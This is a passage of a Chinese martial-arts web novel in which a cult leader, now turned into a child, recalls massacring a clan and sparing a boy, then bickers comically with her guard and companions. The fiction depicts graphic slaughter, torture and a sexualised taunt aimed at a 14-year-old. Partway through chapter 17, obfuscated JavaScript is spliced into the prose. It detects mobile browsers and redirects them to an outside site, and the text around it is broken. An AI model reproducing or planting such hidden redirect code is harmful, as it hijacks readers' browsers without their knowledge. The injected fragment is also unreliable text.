第一个冲进来的是穆世武的大儿子,他的母亲、妻子、三个孩子全死在了大火中。曾经他妻子生下双胞胎的时候,我还亲自去抱过那两个小东西。 他看见我,就如同索命的恶鬼一般扑过来。 于是,我顺手一刀砍掉了他两条胳膊,他竟然还不死心,张大了嘴巴想咬死我。于是,我又是一刀把他的脑袋劈了。 几百人涌进大殿里,来一个,我砍一个。 自始至终,我都没有什么表情,手起刀落,把靠近我的活物全数砍碎。后来,其他长老看穆世武大势已去,纷纷都带人前来助阵,一个比一个来得快,生怕来了慢了惹毛了我,也被我这疯子给灭九族。 开始是我以一敌百的状态,杀到后来,就变成了对穆氏的屠杀。 我杀过无数人,血洗屠杀也干过不少次。但惟独那一夜,在我记忆里永远清晰,仿佛就在昨夜。我清晰的记得每一个砍过的人,每一个人熟悉的面孔和狰狞的表情。 天亮的时候,整个镜花宫的大殿和殿前的白玉广场上,死尸堆得满地,血腥味刺鼻,空气似乎都弥漫着血红色的薄雾。 自此,穆氏就正式从世界上消失了,镜花宫的所有文献也被篡改一通,把一切关于穆氏的档案全数销毁。 自此,再没有长老敢对我有一丝不敬。 我跟我师傅不一样,我是修罗是恶鬼。我不懂慈悲为怀少做杀孽。 我站在江湖最高,最孤独的悬崖峭壁,把所有试图靠近我的人推下万丈深渊。 穆氏也不是死绝了,最后,我还留了一个人没杀,那个人就是穆韶卿。 没杀他的原因也没什么特别的,就是这家伙脸长得对我胃口,而且他是穆世武最喜欢的一个儿子,武功天分奇高,才十四岁就把穆氏的刀法练得跟他老爹几乎一个水准。这样的人才,杀了,我也觉得稍有些许的可惜。 穆韶卿被按在地上,我用一只脚踩在他脸上。 看着他在晨曦中如同饿狼一般的目光,忽然就不想杀他了。 “眼神不错,”身边都是穆氏的人被凌辱刺杀的惨叫声,我心情愉悦,翘着嘴角自上而下俯视那个少年,“本座挺中意你的,从今往后,不如你就当个拴在我床柱上的狗吧。给灭门的仇人当男宠,你是不是很不甘心?” 穆韶卿不说话,只是咬着牙死死的盯着我。 我笑得更加猖狂,“不错不错,就是这个眼神。这家伙甚得我心,给我留着。” 后来几天,一大堆善后事务让我忙得不可开交,于是便把穆韶卿给抛到脑后去了。等我想起来还有这么个孩子在等我,已经是大半个月之后的事了。 穆韶卿被关押在镜花宫一个地下的囚牢里。我见到他的时候,人已经被折磨得半死不活,只剩下一口气吊着。我当时看到那个全身套着枷锁,躺在肮脏地板上奄奄一息的孩子时,突然,非常非常不爽。 “谁行的刑?” 我一开口,立刻有两个人颤颤巍巍被丢出来,爬到我脚边儿上跪着。 “谁让你们动他的?”我声音倒也不算严厉,但是一瞬间,本来就阴湿的地牢,温度一下就跌倒了冰点。 “这、这家伙是背叛教主的叛徒,所以……” 我垂眼瞥了一眼跪在地上的两个家伙,冷笑了一声,“你们倒是很会替我拿主意啊?” “小的不敢!教主饶命!教主饶命……” 我对后头跟着的属下勾勾手,他们立刻附身,“教主有何吩咐。” “穆韶卿弄出来,伤给弄好,这人出一点差池,让你们陪葬。” “是!” 牢笼的门被打开,我看到躺在地上的人微微挣扎了一下,似乎想抬起头来看我。 我转身出了囚牢。 不用我吩咐,那些个虐囚的家伙,定然是不能活着走出这个地牢了。 跟着我的属下都知道,我白玉蛟的确残忍,杀人如麻。但是,我绝不会允许自己以及手下人干出虐囚的肮脏勾当,这着实让我觉得恶心。 其实,我说男宠什么的,不过是为了羞辱一下这小子。我早就说了,本座喜欢有男人味的爷们儿,这种毛都没长齐的青涩少年根本就不对我胃口。 所以,戴我沐浴更衣回寝宫,迥然发现床上躺了这么个直挺挺硬邦邦的家伙时,心情一点儿也不愉悦。 我抬起脚,踹了他两下,“喂喂,你给我醒醒。” 穆韶卿不动。 装死?!本座不悦,正准备把穆韶卿从床板上掀下来,突然“咣”得一声,房门大敞,两个眼生的丫鬟袅袅婷婷走进来,说是熬了蜜糖雪蛤来给我助睡眠。我注意力全在穆韶卿身上,便没怎么注意那两个丫头。等到注意到的时候,那两个小贱人已经一边丢飞镖一边舞着大刀,凶悍向我扑来。 若是平时,刀锋近在我面门三寸之处,我定然是闪身避开,武功再高也不是铜头铁臂,该闪还是要闪。问题是,那时在我背后赤条条躺了个植物人,我若躲开了,他就被分尸了。转念之间,想闪也晚了,我只能不闪不避硬生生徒手对钢刀,接下那两个死丫头的正面攻击。我左手被中了两个飞刀,右手强行运气,一掌把那两个死丫头给打飞出去。 等闻声赶来的侍卫把两个人的死尸拖出去,我一回头,才发现穆韶卿已经醒了。他坐在床上,有些混乱有些茫然的看着我。 我被他那种目光看的头皮发麻,刚想说话,却听到他有来了句,“你救了我?” 我刚想说,救你个毛,你脑子进水了啊。 穆少卿却一只手捂着脑袋,小声说,“多谢你……” 当时,本座就被吓呆在了原地。心想,这下事儿大了,不是进水了,是进水银了吧!我在这世上活了十年,成千上百的人状若疯狂对我凄厉的叫喊过:我做鬼也不放过你! 突然有人对我说“多谢”,一时间我有种晴天一道霹雳打中脑子的感觉。 不过不是我的脑袋被雷劈了,是穆韶卿的。 我一只手抬起他的下巴,盯着他的眼睛狐疑道,“喂,小子!你是怎么回事?!” 穆韶卿愣了几秒,抬起手指指了指我,“那个……姑娘……你手臂上插着两把刀……” “啊?”我也愣,然后抬起手,凶悍得把刀拔出来,封了穴道止血。 真是的,也不看刚才是因为谁我才流血的。 穆少卿看着我的动作呆了几秒之后,抬头做忧心状,“姑娘,你没事吧?……” 姑娘?!我还老鸨呢! 我蹭了几下手上的血迹,“没事,刀上没毒。我才要问你呢!你没事吧?!” 穆少卿忽然垂眸,扭头低声说,“你为什么要救我?” 若是以前,我肯定是流着口水,做下流状调戏道:为了让你给我暖床啊。但是对着明显脑袋不对劲的穆韶卿, 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本来我认为,男人根本就是会走路的生殖器,说什么男人都有雏鸟情结我根本就不信。谁料,穆韶卿这傻子雏鸟情结真不是一般的重,竟然认准了第一眼看到的我,误认为我救了他,误认为我是披着狼皮的羊,整天像犬类似地,一看到我就摇着尾巴跟上来。我本是个恶人,也习惯了别人把我当做杀人狂、女魔头以惊惧厌恶的目光看我,突然出现了一个巴巴跟在你背后,像个小狗一样围着你转,把你当英雄一样的家伙,我突然就没辙了,这难道是所谓的虚荣作祟? 穆韶卿从那时起便随侍我左右,镜花宫里的人也都守口如瓶对穆氏的事绝口不提,所有人不约而同漠视他,漠视他所做的一切,漠视他为我出生入死,陪我杀人放火,陪我坏事做绝。再后来,穆韶卿就成了我的暗卫,成了十四。 但是说实话,我一点都不想亲近他,一点也不想。 “教主……” 身边一声低低的唤,我才回过神来,发现躺在床上的十四不知何时已经醒了。 我看了他一眼,发现他挣扎着要起身,于是一把按在他胸口把他按回被子里,“我在这儿呢,你躺着别动。” 十四的目光闪烁了一下,“教主……这不是梦?”他似乎想伸出手来摸摸我,却生怕僭越了又收了回去。 我于是狠狠捏了他脸颊一把,“疼了吧?知道不是做梦了吧?” 十四脸被我掐出来两道红印子,却傻兮兮得露出了松了一口气的表情。 “我都变成这样了,亏得你还认得出我。” “这世上,只有一个教主。无论变成什么样,十四一定不会认错。” 十四一向很少说话,平时一般都是两个字两个字往外蹦,难得说了这么个长句子。 我瞥了他一眼,翘起嘴角,“呦,几天不见,马匹倒是拍得比以前顺溜多了。” 被我讽刺十四也不懂反抗,只会沉默得看着我。 我于是别看眼睛不看他,“等你伤好了,就别跟着我了。” 我话音一落,就听到“嘭”得一声,十四那白痴竟然从床上翻下来,跪在了我脚边。 “属下护主不利,请教主责罚。” “我没有责怪你的意思啊,”我有点无奈地叹了口气,“只是我已经不是什么教主了。你不必再跟着我了。” 十四一听这话,显然是慌了,一下重重得叩首在地上,“属下知错了!教主不要赶走属下!” 我头疼得揉太阳穴。果然黏上我了。这就是为什么我不想救他的原因。十四跟在我身边十年了,他的脾气我太了解,整个一属狗皮膏药的,怎么甩也甩不掉。 我看着窗外,掏了掏耳朵,“我说啊,你跟着我,我会很麻烦的,你是想给我添麻烦么?” 十四一言不发死死跪在地板上,手指用力攥着,我看到他因为用力,手背上都露出青色的血管。时间一分一秒过去,我看到他全身都微微在颤抖,还是固执地跪在地上不肯动一下。 恐怕,今天如果不答应他,他就会跪死在这里。 最后我妥协了,“行行行,你想跟着,就暂且跟着吧。不过别叫我教主了,我不能暴露身份。” “教主!”十四惊喜得抬起头来,眼神又清又亮。 “都说了别叫我教主了!你个呆瓜!” “是,教主。那……” “傻子,叫我小姐吧。”我不耐烦翻了个白眼,“刚才跟我在一起的那个男人叫做沈墨白,他自称是沈家堡的遗后。他以为我是白玉蛟的私生女,而我骗他说你是我在镜花宫里的旧识,我估计他知道你是白玉蛟的暗卫。那家伙聪明的很,你也给我放聪明点,别露出马脚。懂了么?” “属下明白。” “行了,快点回床上躺着吧。把伤快点养好,别拖累我。” “是。” “还有,你以后别见我就拜就跪的,要像哥哥一样照顾我明白么?” “……明白。” 我极不信任得瞥了他一眼——话说你是真明白还是假明白啊? 十四无辜而纯良的看着我。 我叹了口气,“闭上眼睛睡觉吧。” “是。 16. 搅基吧,男猪们 傍晚的时候,我正无所事事翻着一本春宫集解闷。 十四不声不响起来了,等我发现他的时候,他已经不知道在我背后站了多久,他脸上复杂的表情化繁为简之后,可以概括为“同情”二字。 我看到他那表情,顿时恼羞成怒拍案而起,“喂,你那个脸是什么意思啊?难道是以为本座现在泡不了男人所以欲求不满吗?!” 十四火速摇头,“属下不敢。” “哼!”我翻了个白眼,用力把春宫图阖上。 如果我是原本那个白玉蛟,只要我轻轻“哼”一声,满屋子的人都得吓得魂不附体呼啦啦跪倒在地,大气也不敢出。但是现在,我这个“哼”,奶声奶气的,气势全无,结果哼完之后,我自己郁结了。 郁闷之下,我只好转移话题,“十四,我一路跟沈墨白流浪居无定所,你是怎么得知应该来金陵找我的?” “武林六大门派联名号召中原武林共同讨伐我圣教,所以我想,教主可能会出现在金陵城内。” 我听完,顿时惊讶了一下。本座这才不在江湖几日?大和尚老尼姑老不死们竟然就把我当死人了?竟敢跑到金陵来开中原武林代表大会?他们是想学六大门派围攻光明顶啊?! 我嘲讽一笑,眉梢一扬,“噢?还有这样的趣事?详细情况说来听听。” 十四露出了一点愕然的表情,显然是没料到我竟然对此事一概不知。随即,他垂眸解释道,“几月前,江湖有谣言道教主修炼‘刹那芳华’走火入魔,为顾染织所害。教内长老们便借助流言结成一派,不久便以‘清奸佞’为由杀入无思崖。顾染织则凶相毕露,称长老趁教主闭关企图造反,自己奉教主的口谕诛杀叛贼。” 我扯了扯嘴角,饶有兴趣道,“哦,真出息,然后咱们自己人就掐起来了?” “是。双方皆有折损,但中原武林放出合攻我圣教的消息后,双方便暂时言和了。” 我不禁冷笑了一声。 十四看了一眼我的表情,然后试探着加了一句,“此次为首向圣教发难的,是玉宇琼楼。金陵讨伐大会,也是玉宇琼楼领导之下。” 又是那个鬼门派!阴魂不散。我有点不爽得踢了一脚桌子,结果踢得太用力,桌子没事脚却很疼。 “教主,顾染织……” 我抬起一只手制止十四后面的话,“的确是我自己练功出了岔子,他还没害我的本事。” “教主……” 十四看我的眼神似乎是有几分同情,我顿时冒上一股气,“我一开始便告诉你,我此时不再是白玉蛟。我来金陵与中原武林无关,我与镜花宫从此也无什么瓜葛,镜花宫如何我管不着,你也别指望我会杀了顾染织替你报仇,我现在自顾不暇。” 十四“咚”得一声跪在地上,“教主息怒,是属下多言了。” 教主教主。都说了不要叫我教主。我现在根本什么也不是。 我烦躁得狠狠捶了一拳桌子,低声怒道,“你就不能滚远点么?干嘛非得贴着我!看见你就心烦!” 十四跪在地上,一动不动,低着头不说话。 屋子内一时间陷入了沉默。 “算了,”最后我泄气地挥了挥手,“除了你之外的暗卫还有活着的么?” “阿七最先遭毒手,那时变察觉事情有变,便潜入了无思崖,发现教主并没有在闭关。此事事关重大,所以我自作主张把仍留在教内监视长老的暗卫召集,一起寻找教主的下落。后来,我就遭到了顾染织的追杀,逃出镜花宫,这一路也不敢贸然联系其他人,以免遭到顾染织暗算。” 我拿眼角瞄了瞄十四,他低着头,额角垂下些许的碎发落在脸侧,这个角度看过去本就有几分让人觉得颓废,再加上他内伤颇重,气息不稳,我便微微有些心软。他这一路从蜀中至金陵,九死一生,现在堪堪剩下半条命。想来,他跟了我许多年,如今落得如此狼狈下场,我不免兔死狐悲起来…… 我不由自主叹气,“十四,往后,你多爱惜些自己。” 十四顿时抬起头来看我。 这话我多是没过大脑脱口而出,话落自己也被自己这股矫情劲儿给恶心到了,尴尬无比赶紧改口,“不是,我是说……你看本座现在只有你一个暗卫了,你要是死了就没人保护我了,所以……” 不对,怎么越说越肉麻了!我懊恼得恨不得咬了自己的舌头。 “属下明白。”十四轻声说。 我尴尬得偷偷瞥他,正巧看到他低头的时候嘴角微微有一点扬起。 顿时本座觉得牙痒痒——丫这表情也太贱了…… 本座从前一直不知原来暗卫竟是个很赚钱的行业。不过这也是人家劳动所得。这工作风险高,危险大,专业技术要求过硬,而且还是全日十二时辰在岗,常年加班,连夜作业,连个公休假、年假都没有。 工作这么难做,报酬自然高。医疗保险、房屋补贴、加班费、年终分红林林总总加在一起,一年也有个几百两白银。而且这些银子都是被暂存在当世最大的四枫钱庄内,随取随用,安全方便。综上所述,做了十年暗卫的十四,其实是个有小金库的高帅富。 当晚,当我对着一桌子分别许久的鸡鸭鱼肉山珍海味,忍不住热泪盈眶。 我一边啃蹄髈,一边用油腻腻的手拍着坐在桌子边上帮我挑鱼刺的十四的肩膀,说:“我以后一定会对你好一些的……” 十四低头笑而不语。 丫小子这表情又贱了…… 晚上我泡完澡,正在床上坐禅,一直站在床边一动不动假装家具摆设的十四,突然神色一变,一个箭步窜到门后,不知啥时候已经是长剑在手,蓄势待发。 说时迟那时快,门就在这一刻,“嘭”得一声,被一脚踹开。 随着门“吱呀”合拢的声音,满屋刀光剑影银光闪烁,两道人影缠斗到一起,翩若惊鸿,婉若游龙,然后,那惊鸿游龙就双双滚到了地上。 “喂!你发什么疯!”一个听起来很无赖的声音首先在地上响起来。 我一听便认出来——那不正是沈墨白这混蛋嘛。 于是赶紧爬到床边低头去看,这一低头不要紧,我差点没一头栽倒地上去——只见沈墨白和十四,此时正以诡异的姿态,极其不雅得一起滚在地上。 十四的腿制住了沈墨白的下盘,但是手上的剑没能出鞘,被沈墨白给用手卡住了胳膊动弹不得,两个人都在暗暗用力,各自面目狰狞。 总体来说,这两个人的动作很像两只不小心黏在一起扒不开的海星。 我暗暗扶额,恨铁不成钢——我说,十四,你打架的姿势就不能好看一点嘛?!之前拿砖头就算了,如今又学八爪鱼,谁教你的武功啊?!你把本座的脸都丢到姥姥家去了! “什么人!”十四又用力挣扎了一下,试图压制住沈墨白,不过似乎是因为身上有伤,结果反而被沈墨白一下反扑,给压在了身体底下。 我无奈,只能打圆场,“那个……十四,我跟你提过他啊,沈墨白,今天他救你回来的。沈墨白你快放手,十四还有伤呢。” 沈墨白语气特无奈,翻了个白眼以语言调戏十四,“不是我不放手,是他死死缠着我啊,真是的,女人都不如他缠人。” “你?!”十四顿时有点急了,又用力挣扎了几下,无果。 我嘴角抽了两下。喂喂,你们两个几岁啊?这么大的人还打架拌嘴,丢不丢人啊?! 命令不动沈墨白,我只好拿十四开刀,“十四放手。” 十四有点委屈地看了我一眼,不过还是听话的放了手。 沈墨白这人渣真不愧是人渣,趁着十四不还手,起身的时候竟然还踢了他屁股一脚。 十四瞥了他一眼,很憋屈,但是没还手。 “闺女,爹爹我今天累惨了,快来陪爹爹睡觉。”沈墨白说着,竟然边走边姿态撩人毫无节操得宽衣解带,到床边衣服一剥便扑上来把我搂在怀里,然后压倒在了床上。 我被他身上的酒气熏得胸闷气短,手脚一起扑腾,“你嫌命太长啊?!快点给我滚开!” 我这厢还在扑腾,忽然身上重量一轻。 偏头一看,就看到一把寒光凛冽的剑架在沈墨白的脖子上。 沈墨白背后,十四的脸逆着光线,那脸,那表情,凶神恶煞得让本座都骇到了。 “放开她。”十四一字一句,说得杀气毕现。我也明显感觉到了他身上强烈的杀意。这种杀意是血刃无数性命之后,凝炼而出,如同地狱恶鬼一般的气息。顿时,周围的空气仿佛冻结了一般。 沈墨白自然也感觉到的十四身上的煞气,他身上的肌肉瞬间紧绷了,侧头看着十四。 十四是怎样的行事作风,我再清楚不过。他不爱杀人,但若是有人伤我分毫,他必亲手刃之。 “那个……十四你先把剑收一收,他闹着玩,你别认真……”我劝解道。 十四面无表情盯着沈墨白,“小姐。玷污小姐的人,我绝不会留他在这世上。” 顶嘴?!果然变小了就是没威信啊!最听话的十四竟然都敢顶嘴了?! 沈墨白趁十四收敛煞气之时,一转身,凝气指尖一弹,把剑锋从脖子上弹开。趁机翻身坐在了床边。他面对着十四,冷笑挑衅道,“你唤她小姐?那你也不过是个仆从吧?你不觉得,你这个仆人太没规矩些了吗?” 十四的眼神动摇了一下,小心翼翼瞥我一眼,眼神里有一点无辜的理亏。 显然,他刚才也是一时气急,结果都忘了尊卑之分。 “我告诉你,”唯恐天下不乱的沈墨白继续挑衅道,“就在你不知道在哪里闲逛的时候,你家小姐已经被我‘睡’了不知道多少次了。” 我拿眼睛横沈墨白这人渣。喂喂, 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十四和沈墨白一个住在左手边的房间,一个在右手边。两边都没什么动静,难道是都没睡醒?我刚想去敲十四的门,一抬脚,结果就踢到了什么东西。 一侧头,门边竟然有一坨不明物体!我吓得一声凄厉的尖叫。 “喂!你在这里坐着干嘛!吓死我了!” 刚才我睡得晕晕乎乎,竟然都没发现,门口竟然盘腿坐这个大活人! “小姐。” 十四怀里抱着剑,姿势很帅地坐在门口。门神似地,表情十分肃穆。只是眼睛底下挂着俩大黑眼圈,那表情配着这张脸,莫名略显搞笑。 喂喂,这是什么意思?看门忠犬? 背后,随着门“吱呀”一声打开,隔壁也走出来个人。 “他怎么还在这儿啊?”沈墨白打了个呵欠,懒洋洋往门边儿一靠,半梦不醒得抬手挠头发。 他也是一副睡不够的脸色,眼圈青黑,唇无血色。 我看着他们搞笑的脸,忍不住揶揄他们,“喂,你们俩昨天晚上干嘛了……怎么都一副欲求不满的脸色。” “宿醉。” “打架。” 两个人几乎同时说。 “哦……”我偷笑,“沈墨白你酒后乱性,所以十四你奋起反抗。” “啊,差不多吧。”沈墨白无所谓地耸了耸肩,然后习惯性地对我伸出手。 我太习惯沈墨白做我的代步工具了,看到他伸手,我就条件反射地张开手臂扑上去,想爬到他背上挂着。 结果,我还没来得及扑,一个人影一闪就挡在了我面前。 “休得无礼。小姐没有脚吗?小姐自己能走!”十四义正言辞说着,一边放杀气,一边手就按在了剑柄上。 我扑上去的动作僵在了半截。这情况,为毛显得我那么没节操啊…… 沈墨白也精神衰弱了,非常不爽道,“喂!你没看到她刚才是自己想让我抱吗?!” “没看到。”十四君回答得理直气壮。 “……”沈墨白头疼得揉额角。 一时间,本座也很是尴尬。 让沈墨白抱我那纯粹是条件反射,毕竟已经将其当成代步工具骑了数月,本座也颇为习惯当一个七岁的小丫头了。现在我却左右为难了。到底是该彻底装小萝莉,还是硬着头皮强撑白玉蛟的节操? 每一个身份,是我,却又不是我。 现场冷场了几十秒之后,我又打圆场,“那个,十四……” “小姐?”十四回答的时候仍旧保持着握剑的姿势,警惕地盯着沈墨白,仿佛他是什么洪水猛兽一般。 “咳咳,”我干咳了一声,尽量让自己说话的样子比较有气势,“虽然,我有脚,但是……我没有鞋。” 十四沉默了一瞬间,紧接着突然生气道,“太过分了!怎么能如此对待小姐!” 他说完,一屁股坐在地上开始脱鞋,“小姐请穿我的!” “……”这一刻,本座的脸都绿了。我张了张嘴,然后啥也没说出来。 沈墨白抱着手臂懒洋洋地站在对面看热闹,此刻他忍笑不发,脸都抽筋了。 最后,本座叹了口气,瘪嘴,“十四,不是,我是说,过来抱我。” 十四的脸上顿时惊现一个巨大的问号。 他身后,沈墨白不爽地闹脾气,“始乱终弃啊,你这小白眼狼!白养你了!” “沈墨白同志,”我冷笑了三声,“识时务者为俊杰。” 沈墨白顿时不闹腾了,这丫竟然瘪嘴装可怜。 他闭嘴的原因是——钱在十四身上…… 17. 女人善妒 我白玉蛟喜欢男人,尤其是美男,这事人尽皆知。 与其说是喜欢男人,倒不如说是喜欢欺负男人。 鉴于本人的权势地位和这癖好,我和我的手下们明争暗抢了不少美男,其中不乏武林里颇有地位名气不小的“大侠”“少侠”们。于是,江湖那些个名门大派的雄性弟子们,一听到我的名字,第一反应就是揪紧领口,第二动作就是后退半步,神情肃穆,做誓死不从状。就连少林的秃驴们,也一个个有样学样。 拜托!就算本教主的确是个色狼,也是个挑食的色狼。故而,本座每次见到秃驴我就先不分青红皂白痛扁一通。我倒是宁可被凤栖梧那样的美人当流氓,也死也不让秃驴们把我当色狼! 至于女人嘛。 本座讨厌女人也是出了名的。嫉妒?笑话!本座天下无敌怎么可能去嫉妒她们?!才不是因为嫉妒!本座讨厌女人,主要是因为现在的江湖上,风气不正!那些所谓的女侠们,武功一个比一个烂。 举枪嫌重,舞棒嫌累。一窝蜂都去练什么飞针,什么舞鞭。一个个打起架来都像飞花刺绣,观赏性与杀伤力不成正比。就算是练剑法,那预备式就长达几十秒,跳舞似地哗啦啦旁若无人舞上一阵,裙裾飞扬,恨不得背后再配上礼乐齐奏。 我虽杀人不少,但也不是见人就砍的疯子。 有时候本座在锦官城乱逛,无意碰上了那些名门正派,顶多就放点狠话吓唬他们一下,只要他们识相地乖乖掉头走人,我便不会为难。只是,这些名门正派的女侠们,一个个都柔弱不堪,稍微被我内力震到,摔一跤,就倒地不起。以至于我不明不白就和各大门派结仇了。 记得有次我在一个山泉沐浴,结果碰到同样想来游泳的峨嵋派大弟子杜青蛾,这杜青蛾是掌门师太的掌中宝,下届掌门的不二人选。我沐浴正舒爽,又见她太弱,根本不懈跟她动手。谁料那家伙太过紧张,踩到了自己的裙子滑到摔了一跤,竟然从岸上掉到了水潭里…… 她大呼小叫,落水狗一般得爬回岸上,正巧被闻声赶来的其他门派的侠士们撞见,然后她就厚颜无耻声泪俱下诬陷我说用暗器伤她,想淹死她! 那个娃娃音,那个装无辜,那个虚伪做作!简直厚颜无耻登峰造极! 美女落水,衣服一湿身体曲线毕露,各位侠客们自然肾上腺激素剧增,一个个拔剑就要冲进水里砍我…… 我擦,本座正沐浴,也没穿衣服啊!这帮流氓! 这件事给我留下了极大的心理阴影。 所以,我一看到所谓的女侠就气不打一处来。 所以,这个什么装可爱什么娃娃音什么第一美女苏小小,我是相当的看不顺眼。 苏小小既然说她有关于镜花宫的内幕,沈墨白自然做出一副洗耳恭听的样子。 我也看着她,想看看她究竟能抖出什么大消息来。 苏小小调整了一下坐姿,讲故事似地开了头。 “镜花宫上头的那些人,虽说迫于形势压力,表面上是言和了来联合抗衡武林同盟的围剿,但是实际上,长老们似乎是在谋算着,等打得差不多了,就把顾染织推出去上替罪羊,然后瓜分了镜花宫自立门户。” 我忍不住恨铁不成钢地哼了一声,“他们到底在想什么啊,都什么时候了,还在搞内讧。” 沈墨白好笑地瞥了我一眼,然后挑了挑眉梢,“哦?顾染织就能乖乖任其宰割了么?” 苏小小叹气,“哎,那也没办法嘛。其实呢,小小是很欣赏顾染织的,此人杀伐果断,行事雷厉风行。再者,长老们都是成精的老狐狸嘛,此前顾染织借着段岑之事,挑起‘西龙王’和‘风尘楼主’之间的嫌隙,又设局暗杀了红梅老怪已经实属不易了。若不是这次中原武林集体发难让老家伙们重新站在同一阵线上,说不定,镜花宫真的要易主了。可惜呀可惜,说到底他也只是个男宠,如今没了白教主庇护,再怎么厉害,这身份也无法服众。” “哦……照你这么说,镜花宫这次真是内忧外患,说不定,气数已尽了。”沈墨白慢悠悠道,但是这口气分明没几分认真在里头,倒有点像在试探。 我不理他,苏小小却反映强烈,一下坐直腰板,瞪圆了眼睛反驳道,“墨白,你这话我就不爱听了。你呀,别看如今中原那些缩头乌龟们口号一个喊的比一个响,什么惩恶扬善,什么匡扶正道,哼!可笑!到时候真动起刀枪来,见起血来,一个逃定要逃得比一个快!” 本座笑而不语,苏小小这话倒是很对我心思。 不过呢,我听到这句话稍微感觉到有点微妙,感觉苏小小非常立场鲜明地与中原武林划清界限,难道她…… “苏姐姐,你到底是什么人呀?怎么对镜花宫的内幕如此了解?”我装出一副天真的样子,还故意投给她一个特别崇拜的眼神。 苏小小看我充满敬意盯着她,顿时有几分得意,笑道,“妹妹,你别看小小现在身处风尘之地,其实小小可是堂堂镜花宫金陵分教的副管事。” 苏小小竟然毫不避讳把自己魔教身份暴露了出来,而且还暴露地相当自豪。 本座表情微妙继续笑而不语,微微挑了挑眉梢。 喂喂,你这货是副管事?我怎么没见过啊? 照理说,每两年,各地分教的管事和副管事都必须到总部觐见。跟领导见个面,述个职,开个会,聚在一起吃个饭,搞一下团队建设,联络一下感情,加强一下上下级之间的相互了解……每年来述职的人也就几百个,这个苏小小这么扎眼,我确定一定以及肯定,我必定没见过她。 苏小小忽然叹了一口气。 她塌下肩膀,眼神怨念,“哎……只可惜啊,小小入教也有七八年了,却连传说中英明神武,令人闻风丧胆,武功霸临天下罕有其匹的教主大人的尊容都没见过。”说完,又不甘心得咬起袖子来,而且还咬得很用力,看样子是真的很不甘心。 “啊?为什么?”我脱口而出。 既然这么崇拜我,干嘛还不见我? 她刚才那么一说,我还真想起来,金陵分教的确老是有一个管事年年以各种不靠谱理由请假,不是娶妻,就是生子,要么就是回家奔丧……偏偏,金陵分舵的总管事是个长得一脸诚意的胖大叔,每次都把同僚请假的理由说得情真意切,情节编造得跌宕起伏。外加还要讲一大车夸奖副管事年轻有为,做事勤恳,为人低调的溢美之词,顺便再拐弯抹角把我也夸一通,夸得深得我心,另本座神清气爽,于是一直以来我也就没追究这个副管事。 这样看来,那个胖大叔分明就是色迷心窍,以下犯上,坑骗上司,满嘴跑火车。诚然如俗语所言:宁可相信世上有鬼,也不要相信男人的鬼话。 我这边正盘算着回头怎么教训一下那个胖大叔,那边苏小小哀怨得撩起一缕头发,在手指上缠啊缠啊,苦恼状叹气,“不是小小不想见教主,只是……” 她欲言又止,我听得不耐烦,“只是什么?” “只是,天下人都知道……”苏小小满面忧伤看向我,“人家是江湖第一美女嘛……” 我面部顿时石化了一瞬间。“咳,所以呢?” “哎呀!”苏小小忽然一下坐到我旁边,忸怩地推了我一把,“妹妹,你还小,不懂得大人之间的事啦。常言道,一山不容二虎,除非一公一母!小小是怕自己生得如此美若天仙,如花似玉,婀娜多姿,教主大人见到小小,一下子觉得自己身材走形,年老色衰,无地自容了,那小小岂不是死路一条?!轻则毁容,重则分尸……”她越说越入戏,最后一下子柔弱地扑倒在桌子上,连连哀叫,“自古红颜多薄命啊,哎……” 沈墨白似笑非笑地坐在椅子里喝茶,不时还附和两句,什么“没错啊”,“女人善妒嘛”,“白玉蛟都三十了”,“年纪大了有压力嘛”之类的…… 我斜眼瞟着这抽风加犯贱二人组,心情颇为复杂。 不过,有一点苏小小估计的没错。这女人要是敢到镜花宫见我,我肯定把她卖到窑子里去!才不是因为什么嫉妒她年轻漂亮!本座就是看她不顺眼! “那个……我说,”我打断了演戏演得不亦乐乎的苏小小,“既然你是金陵的副管事,千宜阁又是你名下的财产,所以……” 苏小小方才还把头埋在臂弯里,做痛不欲生状,此刻闻言立马抬起头来,麻利回答,“妹妹猜得不错!其实,千宜阁就是镜花宫的金陵分教,呵呵呵,所谓大隐隐于市嘛。既不会暴露身份,又能搜集情报,更能赚钱补贴给总教,何乐而不为呢?我们金陵分教年年因为业绩好,被教主特别表扬过呢。” 听到这话,我差点背过气去。这哪里隐了啊?你还能再拉风一点嘛?!我们可是魔教啊,烧杀抢掠才是正事,怎么转行做起服务业了?! 气死本座算了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349853|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮家伙…… 我暗暗咬牙握拳。如果能回去,我一定要下一道谕令:禁止把分教布置得花里胡哨!禁止分教教众着装花里胡哨!违令者拖到午门外阉割一百遍! 沈墨白套到了情报,于是喝干了手里茶杯里那顶级的碧螺春,便心满意足得啪啪屁股站起来,一脸无辜非常道,“咳,时间不早了,在下也该告辞了。” 苏小小一听,顿时不乐意了。她漂亮秀丽的脸上,“唰”得换上一个气呼呼的表情,一下扑到沈墨白身上,死死抱住他的胳膊。 这整个扑倒的过程不过一刹那。 由此可见,苏小小其人,也不是只有脸长得好看,至少轻功还是不错的。 苏小小瘪着嘴,撒泼得跺脚,“讨厌鬼!你也太薄情了吧!骗了人家得情报就翻脸不认人,真是薄情寡义!” 沈墨白就任她抱着胳膊,任那白皙柔软的胸部贴近自己的身体,却丝毫没有动容之色。简而言之,这流氓叔叔基本是做到视人间绝色于无物了。 “那你想怎样?”沈墨白好笑道。 “陪人家过夜嘛。”苏小小丝毫不腼腆,更加抱紧了沈墨白的胳膊,顺便眼睛还“唰唰”放电。 我这厢,脸皮都有点挂不住,别开了眼睛。难得,这次我都对沈墨白产生了点敬佩之意——没想到,美色当前,这流氓竟然有如此定力!让我不禁对其性向产生了怀疑。 沈墨白装作为难地皱眉看天,“不是在下不想陪你,只是……你看我女儿还在这里呢,不要教坏小孩子了。不如这样,我找个人来替我陪你?”说完,打了个响指,“薛紫。” 沈墨白话音一落,房顶上迅速被揭开几个瓦片,紧接着,一个黑衣人猫儿一般轻巧得从房顶上跃进房间,一点声响也没有发出。 